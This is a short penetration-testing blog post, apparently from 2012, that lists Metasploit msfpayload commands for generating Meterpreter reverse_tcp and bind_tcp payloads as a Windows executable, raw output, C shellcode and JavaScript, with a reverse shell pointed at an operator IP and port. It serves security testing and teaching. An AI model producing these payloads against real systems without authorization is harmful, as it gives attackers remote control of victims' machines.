

Metasploit Framework Payload Commands

 pentestlab.blog/category/general-lab-notes/page/17

April 4, 2012

Here is a list with the available payload commands.

msfpayload -l

List available payloads

msfpayload windows/meterpreter/bind_tcp O

List all available options for the windows/meterpreter/bind_tcp payload

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 X > payload.exe

Create a Meterpreter reverse_tcp payload to connect back to our IP on port 443. Then save it as Windows executable file with the name payload.exe

```
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 R > payload.raw
```

Create a Meterpreter reverse_tcp payload to connect back to our IP and save it as raw format. It can be combined with msfencode.

```
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
```

Export as C-formatted shellcode

```
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
```

Export as %u encoded JavaScript
